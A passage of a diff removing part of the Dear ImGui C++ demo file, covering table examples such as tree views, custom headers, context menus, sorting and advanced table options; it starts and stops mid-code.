>= 1 && row <= 2 && column >= 1 && column <= 2 && cell_bg_type == 1) - { - ImU32 cell_bg_color = ImGui::GetColorU32(ImVec4(0.3f, 0.3f, 0.7f, 0.65f)); - ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, cell_bg_color); - } - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Tree view")) - { - static ImGuiTableFlags flags = ImGuiTableFlags_BordersV | ImGuiTableFlags_BordersOuterH | ImGuiTableFlags_Resizable | ImGuiTableFlags_RowBg | ImGuiTableFlags_NoBordersInBody; - - if (ImGui::BeginTable("3ways", 3, flags)) - { - // The first column will use the default _WidthStretch when ScrollX is Off and _WidthFixed when ScrollX is On - ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_NoHide); - ImGui::TableSetupColumn("Size", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 12.0f); - ImGui::TableSetupColumn("Type", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 18.0f); - ImGui::TableHeadersRow(); - - // Simple storage to output a dummy file-system. - struct MyTreeNode - { - const char* Name; - const char* Type; - int Size; - int ChildIdx; - int ChildCount; - static void DisplayNode(const MyTreeNode* node, const MyTreeNode* all_nodes) - { - ImGui::TableNextRow(); - ImGui::TableNextColumn(); - const bool is_folder = (node->ChildCount > 0); - if (is_folder) - { - bool open = ImGui::TreeNodeEx(node->Name, ImGuiTreeNodeFlags_SpanFullWidth); - ImGui::TableNextColumn(); - ImGui::TextDisabled("--"); - ImGui::TableNextColumn(); - ImGui::TextUnformatted(node->Type); - if (open) - { - for (int child_n = 0; child_n < node->ChildCount; child_n++) - DisplayNode(&all_nodes[node->ChildIdx + child_n], all_nodes); - ImGui::TreePop(); - } - } - else - { - ImGui::TreeNodeEx(node->Name, ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_Bullet | ImGuiTreeNodeFlags_NoTreePushOnOpen | ImGuiTreeNodeFlags_SpanFullWidth); - ImGui::TableNextColumn(); - ImGui::Text("%d", node->Size); - ImGui::TableNextColumn(); - ImGui::TextUnformatted(node->Type); - } - } - }; - static const MyTreeNode nodes[] = - { - { "Root", "Folder", -1, 1, 3 }, // 0 - { "Music", "Folder", -1, 4, 2 }, // 1 - { "Textures", "Folder", -1, 6, 3 }, // 2 - { "desktop.ini", "System file", 1024, -1,-1 }, // 3 - { "File1_a.wav", "Audio file", 123000, -1,-1 }, // 4 - { "File1_b.wav", "Audio file", 456000, -1,-1 }, // 5 - { "Image001.png", "Image file", 203128, -1,-1 }, // 6 - { "Copy of Image001.png", "Image file", 203256, -1,-1 }, // 7 - { "Copy of Image001 (Final2).png","Image file", 203512, -1,-1 }, // 8 - }; - - MyTreeNode::DisplayNode(&nodes[0], nodes); - - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Item width")) - { - HelpMarker( - "Showcase using PushItemWidth() and how it is preserved on a per-column basis.\n\n" - "Note that on auto-resizing non-resizable fixed columns, querying the content width for e.g. right-alignment doesn't make sense."); - if (ImGui::BeginTable("table_item_width", 3, ImGuiTableFlags_Borders)) - { - ImGui::TableSetupColumn("small"); - ImGui::TableSetupColumn("half"); - ImGui::TableSetupColumn("right-align"); - ImGui::TableHeadersRow(); - - for (int row = 0; row < 3; row++) - { - ImGui::TableNextRow(); - if (row == 0) - { - // Setup ItemWidth once (instead of setting up every time, which is also possible but less efficient) - ImGui::TableSetColumnIndex(0); - ImGui::PushItemWidth(TEXT_BASE_WIDTH * 3.0f); // Small - ImGui::TableSetColumnIndex(1); - ImGui::PushItemWidth(-ImGui::GetContentRegionAvail().x * 0.5f); - ImGui::TableSetColumnIndex(2); - ImGui::PushItemWidth(-FLT_MIN); // Right-aligned - } - - // Draw our contents - static float dummy_f = 0.0f; - ImGui::PushID(row); - ImGui::TableSetColumnIndex(0); - ImGui::SliderFloat("float0", &dummy_f, 0.0f, 1.0f); - ImGui::TableSetColumnIndex(1); - ImGui::SliderFloat("float1", &dummy_f, 0.0f, 1.0f); - ImGui::TableSetColumnIndex(2); - ImGui::SliderFloat("float2", &dummy_f, 0.0f, 1.0f); - ImGui::PopID(); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - // Demonstrate using TableHeader() calls instead of TableHeadersRow() - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Custom headers")) - { - const int COLUMNS_COUNT = 3; - if (ImGui::BeginTable("table_custom_headers", COLUMNS_COUNT, ImGuiTableFlags_Borders | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) - { - ImGui::TableSetupColumn("Apricot"); - ImGui::TableSetupColumn("Banana"); - ImGui::TableSetupColumn("Cherry"); - - // Dummy entire-column selection storage - // FIXME: It would be nice to actually demonstrate full-featured selection using those checkbox. - static bool column_selected[3] = {}; - - // Instead of calling TableHeadersRow() we'll submit custom headers ourselves - ImGui::TableNextRow(ImGuiTableRowFlags_Headers); - for (int column = 0; column < COLUMNS_COUNT; column++) - { - ImGui::TableSetColumnIndex(column); - const char* column_name = ImGui::TableGetColumnName(column); // Retrieve name passed to TableSetupColumn() - ImGui::PushID(column); - ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0)); - ImGui::Checkbox("##checkall", &column_selected[column]); - ImGui::PopStyleVar(); - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); - ImGui::TableHeader(column_name); - ImGui::PopID(); - } - - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - char buf[32]; - sprintf(buf, "Cell %d,%d", column, row); - ImGui::TableSetColumnIndex(column); - ImGui::Selectable(buf, column_selected[column]); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - // Demonstrate creating custom context menus inside columns, while playing it nice with context menus provided by TableHeadersRow()/TableHeader() - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Context menus")) - { - HelpMarker("By default, right-clicking over a TableHeadersRow()/TableHeader() line will open the default context-menu.\nUsing ImGuiTableFlags_ContextMenuInBody we also allow right-clicking over columns body."); - static ImGuiTableFlags flags1 = ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders | ImGuiTableFlags_ContextMenuInBody; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_ContextMenuInBody", &flags1, ImGuiTableFlags_ContextMenuInBody); - PopStyleCompact(); - - // Context Menus: first example - // [1.1] Right-click on the TableHeadersRow() line to open the default table context menu. - // [1.2] Right-click in columns also open the default table context menu (if ImGuiTableFlags_ContextMenuInBody is set) - const int COLUMNS_COUNT = 3; - if (ImGui::BeginTable("table_context_menu", COLUMNS_COUNT, flags1)) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - - // [1.1]] Right-click on the TableHeadersRow() line to open the default table context menu. - ImGui::TableHeadersRow(); - - // Submit dummy contents - for (int row = 0; row < 4; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < COLUMNS_COUNT; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Cell %d,%d", column, row); - } - } - ImGui::EndTable(); - } - - // Context Menus: second example - // [2.1] Right-click on the TableHeadersRow() line to open the default table context menu. - // [2.2] Right-click on the ".." to open a custom popup - // [2.3] Right-click in columns to open another custom popup - HelpMarker("Demonstrate mixing table context menu (over header), item context button (over button) and custom per-colum context menu (over column body)."); - ImGuiTableFlags flags2 = ImGuiTableFlags_Resizable | ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders; - if (ImGui::BeginTable("table_context_menu_2", COLUMNS_COUNT, flags2)) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - - // [2.1] Right-click on the TableHeadersRow() line to open the default table context menu. - ImGui::TableHeadersRow(); - for (int row = 0; row < 4; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < COLUMNS_COUNT; column++) - { - // Submit dummy contents - ImGui::TableSetColumnIndex(column); - ImGui::Text("Cell %d,%d", column, row); - ImGui::SameLine(); - - // [2.2] Right-click on the ".." to open a custom popup - ImGui::PushID(row * COLUMNS_COUNT + column); - ImGui::SmallButton(".."); - if (ImGui::BeginPopupContextItem()) - { - ImGui::Text("This is the popup for Button(\"..\") in Cell %d,%d", column, row); - if (ImGui::Button("Close")) - ImGui::CloseCurrentPopup(); - ImGui::EndPopup(); - } - ImGui::PopID(); - } - } - - // [2.3] Right-click anywhere in columns to open another custom popup - // (instead of testing for !IsAnyItemHovered() we could also call OpenPopup() with ImGuiPopupFlags_NoOpenOverExistingPopup - // to manage popup priority as the popups triggers, here "are we hovering a column" are overlapping) - int hovered_column = -1; - for (int column = 0; column < COLUMNS_COUNT + 1; column++) - { - ImGui::PushID(column); - if (ImGui::TableGetColumnFlags(column) & ImGuiTableColumnFlags_IsHovered) - hovered_column = column; - if (hovered_column == column && !ImGui::IsAnyItemHovered() && ImGui::IsMouseReleased(1)) - ImGui::OpenPopup("MyPopup"); - if (ImGui::BeginPopup("MyPopup")) - { - if (column == COLUMNS_COUNT) - ImGui::Text("This is a custom popup for unused space after the last column."); - else - ImGui::Text("This is a custom popup for Column %d", column); - if (ImGui::Button("Close")) - ImGui::CloseCurrentPopup(); - ImGui::EndPopup(); - } - ImGui::PopID(); - } - - ImGui::EndTable(); - ImGui::Text("Hovered column: %d", hovered_column); - } - ImGui::TreePop(); - } - - // Demonstrate creating multiple tables with the same ID - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Synced instances")) - { - HelpMarker("Multiple tables with the same identifier will share their settings, width, visibility, order etc."); - for (int n = 0; n < 3; n++) - { - char buf[32]; - sprintf(buf, "Synced Table %d", n); - bool open = ImGui::CollapsingHeader(buf, ImGuiTreeNodeFlags_DefaultOpen); - if (open && ImGui::BeginTable("Table", 3, ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Borders | ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_NoSavedSettings)) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableHeadersRow(); - for (int cell = 0; cell < 9; cell++) - { - ImGui::TableNextColumn(); - ImGui::Text("this cell %d", cell); - } - ImGui::EndTable(); - } - } - ImGui::TreePop(); - } - - // Demonstrate using Sorting facilities - // This is a simplified version of the "Advanced" example, where we mostly focus on the code necessary to handle sorting. - // Note that the "Advanced" example also showcase manually triggering a sort (e.g. if item quantities have been modified) - static const char* template_items_names[] = - { - "Banana", "Apple", "Cherry", "Watermelon", "Grapefruit", "Strawberry", "Mango", - "Kiwi", "Orange", "Pineapple", "Blueberry", "Plum", "Coconut", "Pear", "Apricot" - }; - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Sorting")) - { - // Create item list - static ImVector items; - if (items.Size == 0) - { - items.resize(50, MyItem()); - for (int n = 0; n < items.Size; n++) - { - const int template_n = n % IM_ARRAYSIZE(template_items_names); - MyItem& item = items[n]; - item.ID = n; - item.Name = template_items_names[template_n]; - item.Quantity = (n * n - n) % 20; // Assign default quantities - } - } - - // Options - static ImGuiTableFlags flags = - ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Sortable | ImGuiTableFlags_SortMulti - | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_NoBordersInBody - | ImGuiTableFlags_ScrollY; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_SortMulti", &flags, ImGuiTableFlags_SortMulti); - ImGui::SameLine(); HelpMarker("When sorting is enabled: hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1)."); - ImGui::CheckboxFlags("ImGuiTableFlags_SortTristate", &flags, ImGuiTableFlags_SortTristate); - ImGui::SameLine(); HelpMarker("When sorting is enabled: allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0)."); - PopStyleCompact(); - - if (ImGui::BeginTable("table_sorting", 4, flags, ImVec2(0.0f, TEXT_BASE_HEIGHT * 15), 0.0f)) - { - // Declare columns - // We use the "user_id" parameter of TableSetupColumn() to specify a user id that will be stored in the sort specifications. - // This is so our sort function can identify a column given our own identifier. We could also identify them based on their index! - // Demonstrate using a mixture of flags among available sort-related flags: - // - ImGuiTableColumnFlags_DefaultSort - // - ImGuiTableColumnFlags_NoSort / ImGuiTableColumnFlags_NoSortAscending / ImGuiTableColumnFlags_NoSortDescending - // - ImGuiTableColumnFlags_PreferSortAscending / ImGuiTableColumnFlags_PreferSortDescending - ImGui::TableSetupColumn("ID", ImGuiTableColumnFlags_DefaultSort | ImGuiTableColumnFlags_WidthFixed, 0.0f, MyItemColumnID_ID); - ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_WidthFixed, 0.0f, MyItemColumnID_Name); - ImGui::TableSetupColumn("Action", ImGuiTableColumnFlags_NoSort | ImGuiTableColumnFlags_WidthFixed, 0.0f, MyItemColumnID_Action); - ImGui::TableSetupColumn("Quantity", ImGuiTableColumnFlags_PreferSortDescending | ImGuiTableColumnFlags_WidthStretch, 0.0f, MyItemColumnID_Quantity); - ImGui::TableSetupScrollFreeze(0, 1); // Make row always visible - ImGui::TableHeadersRow(); - - // Sort our data if sort specs have been changed! - if (ImGuiTableSortSpecs* sorts_specs = ImGui::TableGetSortSpecs()) - if (sorts_specs->SpecsDirty) - { - MyItem::s_current_sort_specs = sorts_specs; // Store in variable accessible by the sort function. - if (items.Size > 1) - qsort(&items[0], (size_t)items.Size, sizeof(items[0]), MyItem::CompareWithSortSpecs); - MyItem::s_current_sort_specs = NULL; - sorts_specs->SpecsDirty = false; - } - - // Demonstrate using clipper for large vertical lists - ImGuiListClipper clipper; - clipper.Begin(items.Size); - while (clipper.Step()) - for (int row_n = clipper.DisplayStart; row_n < clipper.DisplayEnd; row_n++) - { - // Display a data item - MyItem* item = &items[row_n]; - ImGui::PushID(item->ID); - ImGui::TableNextRow(); - ImGui::TableNextColumn(); - ImGui::Text("%04d", item->ID); - ImGui::TableNextColumn(); - ImGui::TextUnformatted(item->Name); - ImGui::TableNextColumn(); - ImGui::SmallButton("None"); - ImGui::TableNextColumn(); - ImGui::Text("%d", item->Quantity); - ImGui::PopID(); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - // In this example we'll expose most table flags and settings. - // For specific flags and settings refer to the corresponding section for more detailed explanation. - // This section is mostly useful to experiment with combining certain flags or settings with each others. - //ImGui::SetNextItemOpen(true, ImGuiCond_Once); // [DEBUG] - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Advanced")) - { - static ImGuiTableFlags flags = - ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable - | ImGuiTableFlags_Sortable | ImGuiTableFlags_SortMulti - | ImGuiTableFlags_RowBg | ImGuiTableFlags_Borders | ImGuiTableFlags_NoBordersInBody - | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY - | ImGuiTableFlags_SizingFixedFit; - - enum ContentsType { CT_Text, CT_Button, CT_SmallButton, CT_FillButton, CT_Selectable, CT_SelectableSpanRow }; - static int contents_type = CT_SelectableSpanRow; - const char* contents_type_names[] = { "Text", "Button", "SmallButton", "FillButton", "Selectable", "Selectable (span row)" }; - static int freeze_cols = 1; - static int freeze_rows = 1; - static int items_count = IM_ARRAYSIZE(template_items_names) * 2; - static ImVec2 outer_size_value = ImVec2(0.0f, TEXT_BASE_HEIGHT * 12); - static float row_min_height = 0.0f; // Auto - static float inner_width_with_scroll = 0.0f; // Auto-extend - static bool outer_size_enabled = true; - static bool show_headers = true; - static bool show_wrapped_text = false; - //static ImGuiTextFilter filter; - //ImGui::SetNextItemOpen(true, ImGuiCond_Once); // FIXME-TABLE: Enabling this results in initial clipped first pass on table which tend to affects column sizing - if (ImGui::TreeNode("Options")) - { - // Make the UI compact because there are so many fields - PushStyleCompact(); - ImGui::PushItemWidth(TEXT_BASE_WIDTH * 28.0f); - - if (ImGui::TreeNodeEx("Features:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_Reorderable", &flags, ImGuiTableFlags_Reorderable); - ImGui::CheckboxFlags("ImGuiTableFlags_Hideable", &flags, ImGuiTableFlags_Hideable); - ImGui::CheckboxFlags("ImGuiTableFlags_Sortable", &flags, ImGuiTableFlags_Sortable); - ImGui::CheckboxFlags("ImGuiTableFlags_NoSavedSettings", &flags, ImGuiTableFlags_NoSavedSettings); - ImGui::CheckboxFlags("ImGuiTableFlags_ContextMenuInBody", &flags, ImGuiTableFlags_ContextMenuInBody); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Decorations:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags, ImGuiTableFlags_BordersV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags, ImGuiTableFlags_BordersOuterV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags, ImGuiTableFlags_BordersInnerV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags, ImGuiTableFlags_BordersH); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterH", &flags, ImGuiTableFlags_BordersOuterH); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerH", &flags, ImGuiTableFlags_BordersInnerH); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body (borders will always appears in Headers"); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBodyUntilResize", &flags, ImGuiTableFlags_NoBordersInBodyUntilResize); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers)"); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Sizing:", ImGuiTreeNodeFlags_DefaultOpen)) - { - EditTableSizingFlags(&flags); - ImGui::SameLine(); HelpMarker("In the Advanced demo we override the policy of each column so those table-wide settings have less effect that typical."); - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendX", &flags, ImGuiTableFlags_NoHostExtendX); - ImGui::SameLine(); HelpMarker("Make outer width auto-fit to columns, overriding outer_size.x value.\n\nOnly available when ScrollX/ScrollY are disabled and Stretch columns are not used."); - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendY", &flags, ImGuiTableFlags_NoHostExtendY); - ImGui::SameLine(); HelpMarker("Make outer height stop exactly at outer_size.y (prevent auto-extending table past the limit).\n\nOnly available when ScrollX/ScrollY are disabled. Data below the limit will be clipped and not visible."); - ImGui::CheckboxFlags("ImGuiTableFlags_NoKeepColumnsVisible", &flags, ImGuiTableFlags_NoKeepColumnsVisible); - ImGui::SameLine(); HelpMarker("Only available if ScrollX is disabled."); - ImGui::CheckboxFlags("ImGuiTableFlags_PreciseWidths", &flags, ImGuiTableFlags_PreciseWidths); - ImGui::SameLine(); HelpMarker("Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth."); - ImGui::CheckboxFlags("ImGuiTableFlags_NoClip", &flags, ImGuiTableFlags_NoClip); - ImGui::SameLine(); HelpMarker("Disable clipping rectangle for every individual columns (reduce draw command count, items will be able to overflow into other columns). Generally incompatible with ScrollFreeze options."); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Padding:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::CheckboxFlags("ImGuiTableFlags_PadOuterX", &flags, ImGuiTableFlags_PadOuterX); - ImGui::CheckboxFlags("ImGuiTableFlags_NoPadOuterX", &flags, ImGuiTableFlags_NoPadOuterX); - ImGui::CheckboxFlags("ImGuiTableFlags_NoPadInnerX", &flags, ImGuiTableFlags_NoPadInnerX); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Scrolling:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); - ImGui::SameLine(); - ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); - ImGui::DragInt("freeze_cols", &freeze_cols, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); - ImGui::SameLine(); - ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); - ImGui::DragInt("freeze_rows", &freeze_rows, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Sorting:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::CheckboxFlags("ImGuiTableFlags_SortMulti", &flags, ImGuiTableFlags_SortMulti); - ImGui::SameLine(); HelpMarker("When sorting is enabled: hold shift when clicking headers to sort on multiple column. TableGetSortSpecs() may return specs where (SpecsCount > 1)."); - ImGui::CheckboxFlags("ImGuiTableFlags_SortTristate", &flags, ImGuiTableFlags_SortTristate); - ImGui::SameLine(); HelpMarker("When sorting is enabled: allow no sorting, disable default sorting. TableGetSortSpecs() may return specs where (SpecsCount == 0)."); - ImGui::TreePop(); - } - - if (ImGui::TreeNodeEx("Other:", ImGuiTreeNodeFlags_DefaultOpen)) - { - ImGui::Checkbox("show_headers", &show_headers); - ImGui::Checkbox("show_wrapped_text", &show_wrapped_text); - - ImGui::DragFloat2("##OuterSize", &outer_size_value.x); - ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); - ImGui::Checkbox("outer_size", &outer_size_enabled); - ImGui::SameLine(); - HelpMarker("If scrolling is disabled (ScrollX and ScrollY not set):\n" - "- The table is output directly in the parent window.\n" - "- OuterSize.x < 0.0f will right-align the table.\n" - "- OuterSize.x = 0.0f will narrow fit the table unless there are any Stretch column.\n" - "- OuterSize.y then becomes the minimum size for the table, which will extend vertically if there are more rows (unless NoHostExtendY is set)."); - - // From a user point of view we will tend to use 'inner_width' differently depending on whether our table is embedding scrolling. - // To facilitate toying with this demo we will actually pass 0.0f to the BeginTable() when ScrollX is disabled. - ImGui::DragFloat("inner_width (when ScrollX active)", &inner_width_with_scroll, 1.0f, 0.0f, FLT_MAX); - - ImGui::DragFloat("row_min_height", &row_min_height, 1.0f, 0.0f, FLT_MAX); - ImGui::SameLine(); HelpMarker("Specify height of the Selectable item."); - - ImGui::DragInt("items_count", &items_count, 0.1f, 0, 9999); - ImGui::Combo("items_type (first column)", &contents_type, contents_type_names, IM_ARRAYSIZE(contents_type_names)); - //filter.Draw("filter"); - ImGui::TreePop(); - } - - ImGui::PopItemWidth(); - PopStyleCompact(); - ImGui::Spacing(); - ImGui::TreePop(); - } - - // Update item list if we changed the number of items - static ImVector items; - static ImVector selection; - static bool items_need_sort = false; - if (items.Size != items_count) - { - items.resize(items_count, MyItem()); - for (int n = 0; n < items_count; n++) - { - const int template_n = n % IM_ARRAYSIZE(template_items_names); - MyItem& item = items[n]; - item.ID = n; - item.Name = template_items_names[template_n]; - item.Quantity = (template_n == 3) ? 10 : (template_n == 4) ? 20 : 0; // Assign default quantities - } - } - - const ImDrawList* parent_draw_list = ImGui::GetWindowDrawList(); - const int parent_draw_list_draw_cmd_count = parent_draw_list->CmdBuffer.Size; - ImVec2 table_scroll_cur, table_scroll_max; // For debug display - const ImDrawList* table_draw_list = NULL; // " - - // Submit table - const float inner_width_to_use = (flags & ImGuiTableFlags_ScrollX) ? inner_width_with_scroll : 0.0f; - if (ImGui::BeginTable("table_advanced", 6, flags, outer_size_enabled ? outer_size_value : ImVec2(0, 0), inner_width_to_use)) - { - // Declare columns - // We use the "user_id" parameter of TableSetupColumn() to specify a user id that will be stored in the sort specifications. - // This is so our sort function can identify a column given our own identifier. We could also identify them based on their index! - ImGui::TableSetupColumn("ID", ImGuiTableColumnFlags_DefaultSort | ImGuiTableColumnFlags_WidthFixed | ImGuiTableColumnFlags_NoHide, 0.0f, MyItemColumnID_ID); - ImGui::TableSetupColumn("Name", ImGuiTableColumnFlags_WidthFixed, 0.0f, MyItemColumnID_Name); - ImGui::TableSetupColumn("Action", ImGuiTableColumnFlags_NoSort | ImGuiTableColumnFlags_WidthFixed, 0.0f, MyItemColumnID_Action); - ImGui::TableSetupColumn("Quantity", ImGuiTableColumnFlags_PreferSortDescending, 0.0f, MyItemColumnID_Quantity); - ImGui::TableSetupColumn("Description", (flags & ImGuiTableFlags_NoHostExtendX) ? 0 : ImGuiTableColumnFlags_WidthStretch, 0.0f, MyItemColumnID_Description); - ImGui::TableSetupColumn("Hidden", ImGuiTableColumnFlags_DefaultHide | ImGuiTableColumnFlags_NoSort); - ImGui::TableSetupScrollFreeze(freeze_cols, freeze_rows); - - // Sort our data if sort specs have been changed! - ImGuiTableSortSpecs* sorts_specs = ImGui::TableGetSortSpecs(); - if (sorts_specs && sorts_specs->SpecsDirty) - items_need_sort = true; - if (sorts_specs && items_need_sort && items.Size > 1) - { - MyItem::s_current_sort_specs = sorts_specs; // Store in variable accessible by the sort function. - qsort(&items[0], (size_t)items.Size, sizeof(items[0]), MyItem::CompareWithSortSpecs); - MyItem::s_current_sort_specs = NULL; - sorts_specs->SpecsDirty = false; - } - items_need_sort = false; - - // Take note of whether we are currently sorting based on the Quantity field, - // we will use this to trigger sorting when we know the data of this column has been modified. - const bool sorts_specs_using_quantity = (ImGui::TableGetColumnFlags(3) & ImGuiTableColumnFlags_IsSorted) != 0; - - // Show headers - if (show_headers) - ImGui::TableHeadersRow(); - - // Show data - // FIXME-TABLE FIXME-NAV: How we can get decent up/down even though we have the buttons here? - ImGui::PushButtonRepeat(true); -#if 1 - // Demonstrate using clipper for large vertical lists - ImGuiListClipper clipper; - clipper.Begin(items.Size); - while (clipper.Step()) - { - for (int row_n = clipper.DisplayStart; row_n < clipper.DisplayEnd; row_n++) -#else - // Without clipper - { - for (int row_n = 0; row_n < items.Size; row_n++) -#endif - { - MyItem* item = &items[row_n]; - //if (!filter.PassFilter(item->Name)) - // continue; - - const bool item_is_selected = selection.contains(item->ID); - ImGui::PushID(item->ID); - ImGui::TableNextRow(ImGuiTableRowFlags_None, row_min_height); - - // For the demo purpose we can select among different type of items submitted in the first column - ImGui::TableSetColumnIndex(0); - char label[32]; - sprintf(label, "%04d", item->ID); - if (contents_type == CT_Text) - ImGui::TextUnformatted(label); - else if (contents_type == CT_Button) - ImGui::Button(label); - else if (contents_type == CT_SmallButton) - ImGui::SmallButton(label); - else if (contents_type == CT_FillButton) - ImGui::Button(label, ImVec2(-FLT_MIN, 0.0f)); - else if (contents_type == CT_Selectable || contents_type == CT_SelectableSpanRow) - { - ImGuiSelectableFlags selectable_flags = (contents_type == CT_SelectableSpanRow) ? ImGuiSelectableFlags_SpanAllColumns | ImGuiSelectableFlags_AllowItemOverlap : ImGuiSelectableFlags_None; - if (ImGui::Selectable(label, item_is_selected, selectable_flags, ImVec2(0, row_min_height))) - { - if (ImGui::GetIO().KeyCtrl) - { - if (item_is_selected) - selection.find_erase_unsorted(item->ID); - else - selection.push_back(item->ID); - } - else - { - selection.clear(); - selection.push_back(item->ID); - } - } - } - - if (ImGui::TableSetColumnIndex(1)) - ImGui::TextUnformatted(item->Name); - - // Here we demonstrate marking our data set as needing to be sorted again if we modified a quantity, - // and we are currently sorting on the column showing the Quantity. - // To avoid triggering a sort while holding the button, we only trigger it when the button has been released. - // You will probably need a more advanced system in your code if you want to automatically sort when a specific entry changes. - if (ImGui::TableSetColumnIndex(2)) - { - if (ImGui::SmallButton("Chop")) { item->Quantity += 1; } - if (sorts_specs_using_quantity && ImGui::IsItemDeactivated()) { items_need_sort = true; } - ImGui::SameLine(); - if (ImGui::SmallButton("Eat")) { item->Quantity -= 1; } - if (sorts_specs_using_quantity && ImGui::IsItemDeactivated()) { items_need_sort = true; } - } - - if (ImGui::TableSetColumnIndex(3)) - ImGui::Text("%d", item->Quantity); - - ImGui::TableSetColumnIndex(4); - if (show_wrapped_text) - ImGui::TextWrapped("Lorem ipsum dolor sit amet"); - else - ImGui::Text("Lorem ipsum dolor sit amet"); - - if (ImGui::TableSetColumnIndex(5)) - ImGui::Text("1234"); - - ImGui::PopID(); - } - } - ImGui::PopButtonRepeat(); - - // Store some info to display debug details below - table_scroll_cur = ImVec2(ImGui::GetScrollX(), ImGui::GetScrollY()); - table_scroll_max = ImVec2(ImGui::GetScrollMaxX(), ImGui::GetScrollMaxY()); - table_draw_list = ImGui::GetWindowDrawList(); - ImGui::EndTable(); - } - static bool show_debug_details = false; - ImGui::Checkbox("Debug details", &show_debug_details); - if (show_debug_details && table_draw_list) - { - ImGui::SameLine(0.0f, 0.0f); - const int table_draw_list_draw_cmd_count = table_draw_list->CmdBuffer.Size; - if (table_draw_list == 